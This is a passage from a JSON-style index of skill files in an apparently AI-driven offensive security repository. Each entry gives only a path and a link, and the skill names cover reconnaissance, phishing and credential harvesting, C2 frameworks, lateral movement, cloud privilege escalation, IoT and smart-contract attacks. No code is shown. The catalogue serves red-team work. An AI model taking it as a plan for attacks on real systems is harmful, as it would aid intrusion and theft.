GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/osint/SKILL.md)","packages/decepticon/decepticon/skills/standard/recon/open-web/SKILL.md":"# open-web\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/open-web/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/open-web/SKILL.md)","packages/decepticon/decepticon/skills/standard/recon/mobile-security/SKILL.md":"# mobile-security\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/mobile-security/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/mobile-security/SKILL.md)","packages/decepticon/decepticon/skills/standard/recon/iot-security/SKILL.md":"# iot-security\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/iot-security/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/iot-security/SKILL.md)","packages/decepticon/decepticon/skills/standard/recon/cloud-recon/SKILL.md":"# cloud-recon\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/cloud-recon/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/cloud-recon/SKILL.md)","packages/decepticon/decepticon/skills/standard/recon/active-recon/SKILL.md":"# active-recon\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/active-recon/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/active-recon/SKILL.md)","packages/decepticon/decepticon/skills/standard/post-exploit/reporting/SKILL.md":"# reporting\n\nPath: `packages/decepticon/decepticon/skills/standard/post-exploit/reporting/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/reporting/SKILL.md)","packages/decepticon/decepticon/skills/standard/post-exploit/privilege-escalation/SKILL.md":"# privilege-escalation\n\nPath: `packages/decepticon/decepticon/skills/standard/post-exploit/privilege-escalation/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/privilege-escalation/SKILL.md)","packages/decepticon/decepticon/skills/standard/post-exploit/network-replay/SKILL.md":"# network-replay\n\nPath: `packages/decepticon/decepticon/skills/standard/post-exploit/network-replay/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/network-replay/SKILL.md)","packages/decepticon/decepticon/skills/standard/post-exploit/macos/SKILL.md":"# macos\n\nPath: `packages/decepticon/decepticon/skills/standard/post-exploit/macos/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/macos/SKILL.md)","packages/decepticon/decepticon/skills/standard/post-exploit/linux-privesc-enum/SKILL.md":"# linux-privesc-enum\n\nPath: `packages/decepticon/decepticon/skills/standard/post-exploit/linux-privesc-enum/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/linux-privesc-enum/SKILL.md)","packages/decepticon/decepticon/skills/standard/post-exploit/lateral-movement/SKILL.md":"# lateral-movement\n\nPath: `packages/decepticon/decepticon/skills/standard/post-exploit/lateral-movement/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/lateral-movement/SKILL.md)","packages/decepticon/decepticon/skills/standard/post-exploit/credential-access/SKILL.md":"# credential-access\n\nPath: `packages/decepticon/decepticon/skills/standard/post-exploit/credential-access/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/credential-access/SKILL.md)","packages/decepticon/decepticon/skills/standard/post-exploit/c2-sliver/SKILL.md":"# c2-sliver\n\nPath: `packages/decepticon/decepticon/skills/standard/post-exploit/c2-sliver/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/c2-sliver/SKILL.md)","packages/decepticon/decepticon/skills/standard/post-exploit/c2-domain-fronting/SKILL.md":"# c2-domain-fronting\n\nPath: `packages/decepticon/decepticon/skills/standard/post-exploit/c2-domain-fronting/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/c2-domain-fronting/SKILL.md)","packages/decepticon/decepticon/skills/standard/post-exploit/c2-cobalt-strike/SKILL.md":"# c2-cobalt-strike\n\nPath: `packages/decepticon/decepticon/skills/standard/post-exploit/c2-cobalt-strike/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/c2-cobalt-strike/SKILL.md)","packages/decepticon/decepticon/skills/standard/post-exploit/c2-alternative-channels/SKILL.md":"# c2-alternative-channels\n\nPath: `packages/decepticon/decepticon/skills/standard/post-exploit/c2-alternative-channels/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/c2-alternative-channels/SKILL.md)","packages/decepticon/decepticon/skills/standard/post-exploit/c2/SKILL.md":"# c2\n\nPath: `packages/decepticon/decepticon/skills/standard/post-exploit/c2/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/c2/SKILL.md)","packages/decepticon/decepticon/skills/standard/phisher/quishing/SKILL.md":"# quishing\n\nPath: `packages/decepticon/decepticon/skills/standard/phisher/quishing/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/phisher/quishing/SKILL.md)","packages/decepticon/decepticon/skills/standard/phisher/pretext-engineering/SKILL.md":"# pretext-engineering\n\nPath: `packages/decepticon/decepticon/skills/standard/phisher/pretext-engineering/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/phisher/pretext-engineering/SKILL.md)","packages/decepticon/decepticon/skills/standard/phisher/pdf-credential-harvest/SKILL.md":"# pdf-credential-harvest\n\nPath: `packages/decepticon/decepticon/skills/standard/phisher/pdf-credential-harvest/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/phisher/pdf-credential-harvest/SKILL.md)","packages/decepticon/decepticon/skills/standard/phisher/o365-credential-harvest/SKILL.md":"# o365-credential-harvest\n\nPath: `packages/decepticon/decepticon/skills/standard/phisher/o365-credential-harvest/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/phisher/o365-credential-harvest/SKILL.md)","packages/decepticon/decepticon/skills/standard/phisher/mfa-fatigue-social/SKILL.md":"# mfa-fatigue-social\n\nPath: `packages/decepticon/decepticon/skills/standard/phisher/mfa-fatigue-social/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/phisher/mfa-fatigue-social/SKILL.md)","packages/decepticon/decepticon/skills/standard/phisher/lure-deconfliction/SKILL.md":"# lure-deconfliction\n\nPath: `packages/decepticon/decepticon/skills/standard/phisher/lure-deconfliction/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/phisher/lure-deconfliction/SKILL.md)","packages/decepticon/decepticon/skills/standard/phisher/lookalike-domain/SKILL.md":"# lookalike-domain\n\nPath: `packages/decepticon/decepticon/skills/standard/phisher/lookalike-domain/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/phisher/lookalike-domain/SKILL.md)","packages/decepticon/decepticon/skills/standard/phisher/html-smuggling-lure/SKILL.md":"# html-smuggling-lure\n\nPath: `packages/decepticon/decepticon/skills/standard/phisher/html-smuggling-lure/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/phisher/html-smuggling-lure/SKILL.md)","packages/decepticon/decepticon/skills/standard/phisher/gophish-campaign/SKILL.md":"# gophish-campaign\n\nPath: `packages/decepticon/decepticon/skills/standard/phisher/gophish-campaign/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/phisher/gophish-campaign/SKILL.md)","packages/decepticon/decepticon/skills/standard/phisher/evilginx2-proxy/SKILL.md":"# evilginx2-proxy\n\nPath: `packages/decepticon/decepticon/skills/standard/phisher/evilginx2-proxy/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/phisher/evilginx2-proxy/SKILL.md)","packages/decepticon/decepticon/skills/standard/mobile/flutter/SKILL.md":"# flutter\n\nPath: `packages/decepticon/decepticon/skills/standard/mobile/flutter/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/mobile/flutter/SKILL.md)","packages/decepticon/decepticon/skills/standard/mobile/android/SKILL.md":"# android\n\nPath: `packages/decepticon/decepticon/skills/standard/mobile/android/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/mobile/android/SKILL.md)","packages/decepticon/decepticon/skills/standard/iot/ros2-dds-attack/SKILL.md":"# ros2-dds-attack\n\nPath: `packages/decepticon/decepticon/skills/standard/iot/ros2-dds-attack/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/iot/ros2-dds-attack/SKILL.md)","packages/decepticon/decepticon/skills/standard/iot/lorawan-otaa/SKILL.md":"# lorawan-otaa\n\nPath: `packages/decepticon/decepticon/skills/standard/iot/lorawan-otaa/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/iot/lorawan-otaa/SKILL.md)","packages/decepticon/decepticon/skills/standard/iot/hardcoded-creds/SKILL.md":"# hardcoded-creds\n\nPath: `packages/decepticon/decepticon/skills/standard/iot/hardcoded-creds/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/iot/hardcoded-creds/SKILL.md)","packages/decepticon/decepticon/skills/standard/iot/firmware-acquisition/SKILL.md":"# firmware-acquisition\n\nPath: `packages/decepticon/decepticon/skills/standard/iot/firmware-acquisition/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/iot/firmware-acquisition/SKILL.md)","packages/decepticon/decepticon/skills/standard/iot/dev-mem/SKILL.md":"# dev-mem\n\nPath: `packages/decepticon/decepticon/skills/standard/iot/dev-mem/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/iot/dev-mem/SKILL.md)","packages/decepticon/decepticon/skills/standard/iot/bootloader-uboot/SKILL.md":"# bootloader-uboot\n\nPath: `packages/decepticon/decepticon/skills/standard/iot/bootloader-uboot/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/iot/bootloader-uboot/SKILL.md)","packages/decepticon/decepticon/skills/standard/iot/ble-gatt/SKILL.md":"# ble-gatt\n\nPath: `packages/decepticon/decepticon/skills/standard/iot/ble-gatt/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/iot/ble-gatt/SKILL.md)","packages/decepticon/decepticon/skills/standard/iot/binwalk-extract/SKILL.md":"# binwalk-extract\n\nPath: `packages/decepticon/decepticon/skills/standard/iot/binwalk-extract/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/iot/binwalk-extract/SKILL.md)","packages/decepticon/decepticon/skills/standard/iot/sub-ghz/SKILL.md":"# sub-ghz\n\nPath: `packages/decepticon/decepticon/skills/standard/iot/sub-ghz/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/iot/sub-ghz/SKILL.md)","packages/decepticon/decepticon/skills/standard/iot/z-wave/SKILL.md":"# z-wave\n\nPath: `packages/decepticon/decepticon/skills/standard/iot/z-wave/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/iot/z-wave/SKILL.md)","packages/decepticon/decepticon/skills/standard/iot/zigbee-touchlink/SKILL.md":"# zigbee-touchlink\n\nPath: `packages/decepticon/decepticon/skills/standard/iot/zigbee-touchlink/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/iot/zigbee-touchlink/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/SKILL.md":"# web\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/supplychain/SKILL.md":"# supplychain\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/supplychain/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/supplychain/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/rmm-tool-abuse/SKILL.md":"# rmm-tool-abuse\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/rmm-tool-abuse/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/rmm-tool-abuse/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/reporting/SKILL.md":"# reporting\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/reporting/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/reporting/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/ics-ot/SKILL.md":"# ics-ot\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/ics-ot/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/edge-device-exploitation/SKILL.md":"# edge-device-exploitation\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/edge-device-exploitation/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/edge-device-exploitation/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/crypto/SKILL.md":"# crypto\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/crypto/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/crypto/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/cicd/SKILL.md":"# cicd\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/cicd/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/cicd/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/api/SKILL.md":"# api\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/api/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/api/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/ad/SKILL.md":"# ad\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/ad/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/ad/SKILL.md)","packages/decepticon/decepticon/skills/standard/decepticon/pentest-task-tree/SKILL.md":"# pentest-task-tree\n\nPath: `packages/decepticon/decepticon/skills/standard/decepticon/pentest-task-tree/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/decepticon/pentest-task-tree/SKILL.md)","packages/decepticon/decepticon/skills/standard/decepticon/orchestration/SKILL.md":"# orchestration\n\nPath: `packages/decepticon/decepticon/skills/standard/decepticon/orchestration/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/decepticon/orchestration/SKILL.md)","packages/decepticon/decepticon/skills/standard/decepticon/kill-chain-analysis/SKILL.md":"# kill-chain-analysis\n\nPath: `packages/decepticon/decepticon/skills/standard/decepticon/kill-chain-analysis/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/decepticon/kill-chain-analysis/SKILL.md)","packages/decepticon/decepticon/skills/standard/decepticon/kali-mcp-bridge/SKILL.md":"# kali-mcp-bridge\n\nPath: `packages/decepticon/decepticon/skills/standard/decepticon/kali-mcp-bridge/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/decepticon/kali-mcp-bridge/SKILL.md)","packages/decepticon/decepticon/skills/standard/decepticon/final-report/SKILL.md":"# final-report\n\nPath: `packages/decepticon/decepticon/skills/standard/decepticon/final-report/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/decepticon/final-report/SKILL.md)","packages/decepticon/decepticon/skills/standard/decepticon/engagement-startup/SKILL.md":"# engagement-startup\n\nPath: `packages/decepticon/decepticon/skills/standard/decepticon/engagement-startup/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/decepticon/engagement-startup/SKILL.md)","packages/decepticon/decepticon/skills/standard/decepticon/engagement-lifecycle/SKILL.md":"# engagement-lifecycle\n\nPath: `packages/decepticon/decepticon/skills/standard/decepticon/engagement-lifecycle/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/decepticon/engagement-lifecycle/SKILL.md)","packages/decepticon/decepticon/skills/standard/contracts/signature-replay/SKILL.md":"# signature-replay\n\nPath: `packages/decepticon/decepticon/skills/standard/contracts/signature-replay/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/contracts/signature-replay/SKILL.md)","packages/decepticon/decepticon/skills/standard/contracts/reentrancy/SKILL.md":"# reentrancy\n\nPath: `packages/decepticon/decepticon/skills/standard/contracts/reentrancy/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/contracts/reentrancy/SKILL.md)","packages/decepticon/decepticon/skills/standard/contracts/oracle-manipulation/SKILL.md":"# oracle-manipulation\n\nPath: `packages/decepticon/decepticon/skills/standard/contracts/oracle-manipulation/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/contracts/oracle-manipulation/SKILL.md)","packages/decepticon/decepticon/skills/standard/contracts/mev-sandwich/SKILL.md":"# mev-sandwich\n\nPath: `packages/decepticon/decepticon/skills/standard/contracts/mev-sandwich/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/contracts/mev-sandwich/SKILL.md)","packages/decepticon/decepticon/skills/standard/contracts/governance-attack/SKILL.md":"# governance-attack\n\nPath: `packages/decepticon/decepticon/skills/standard/contracts/governance-attack/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/contracts/governance-attack/SKILL.md)","packages/decepticon/decepticon/skills/standard/contracts/flash-loan/SKILL.md":"# flash-loan\n\nPath: `packages/decepticon/decepticon/skills/standard/contracts/flash-loan/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/contracts/flash-loan/SKILL.md)","packages/decepticon/decepticon/skills/standard/contracts/bridge-exploit/SKILL.md":"# bridge-exploit\n\nPath: `packages/decepticon/decepticon/skills/standard/contracts/bridge-exploit/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/contracts/bridge-exploit/SKILL.md)","packages/decepticon/decepticon/skills/standard/contracts/access-control/SKILL.md":"# access-control\n\nPath: `packages/decepticon/decepticon/skills/standard/contracts/access-control/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/contracts/access-control/SKILL.md)","packages/decepticon/decepticon/skills/standard/contracts/upgradeable-proxy/SKILL.md":"# upgradeable-proxy\n\nPath: `packages/decepticon/decepticon/skills/standard/contracts/upgradeable-proxy/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/contracts/upgradeable-proxy/SKILL.md)","packages/decepticon/decepticon/skills/standard/cloud/s3-takeover/SKILL.md":"# s3-takeover\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/s3-takeover/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/s3-takeover/SKILL.md)","packages/decepticon/decepticon/skills/standard/cloud/m365-mailbox-compromise/SKILL.md":"# m365-mailbox-compromise\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/m365-mailbox-compromise/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/m365-mailbox-compromise/SKILL.md)","packages/decepticon/decepticon/skills/standard/cloud/k8s-pivot/SKILL.md":"# k8s-pivot\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/k8s-pivot/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/k8s-pivot/SKILL.md)","packages/decepticon/decepticon/skills/standard/cloud/imds-pivot/SKILL.md":"# imds-pivot\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/imds-pivot/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/imds-pivot/SKILL.md)","packages/decepticon/decepticon/skills/standard/cloud/gcp-svc-account-impersonation/SKILL.md":"# gcp-svc-account-impersonation\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/gcp-svc-account-impersonation/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/gcp-svc-account-impersonation/SKILL.md)","packages/decepticon/decepticon/skills/standard/cloud/gcp-org-escalation/SKILL.md":"# gcp-org-escalation\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/gcp-org-escalation/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/gcp-org-escalation/SKILL.md)","packages/decepticon/decepticon/skills/standard/cloud/entra-privesc/SKILL.md":"# entra-privesc\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/entra-privesc/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/entra-privesc/SKILL.md)","packages/decepticon/decepticon/skills/standard/cloud/entra-enum/SKILL.md":"# entra-enum\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/entra-enum/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/entra-enum/SKILL.md)","packages/decepticon/decepticon/skills/standard/cloud/entra-device-code-phishing/SKILL.md":"# entra-device-code-phishing\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/entra-device-code-phishing/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/entra-device-code-phishing/SKILL.md)","packages/decepticon/decepticon/skills/standard/cloud/entra-conditional-access-bypass/SKILL.md":"# entra-conditional-access-bypass\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/entra-conditional-access-bypass/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/entra-conditional-access-bypass/SKILL.md)","packages/decepticon/decepticon/skills/standard/cloud/container/SKILL.md":"# container\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/container/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/container/SKILL.md)","packages/decepticon/decepticon/skills/standard/cloud/azure-managed-identity/SKILL.md":"# azure-managed-identity\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/azure-managed-identity/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/azure-managed-identity/SKILL.md)","packages/decepticon/decepticon/skills/standard/cloud/aws-iam-passrole-chain/SKILL.md":"# aws-iam-passrole-chain\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/aws-iam-passrole-chain/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/aws-iam-passrole-chain/SKILL.md)","packages/decepticon/decepticon/skills/standard/cloud/aws-iam-enum/SKILL.md":"# aws-iam-enum\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/aws-iam-enum/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/aws-iam-enum/SKILL.md)","packages/decepticon/decepticon/skills/standard/cloud/terraform-state-leak/SKILL.md":"# terraform-state-leak\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/terraform-state-leak/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/terraform-state-leak/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/sensitive-information-disclosure/SKILL.md":"# sensitive-information-disclosure\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/sensitive-information-disclosure/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/sensitive-information-disclosure/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/redos/SKILL.md":"# redos\n\nPath: 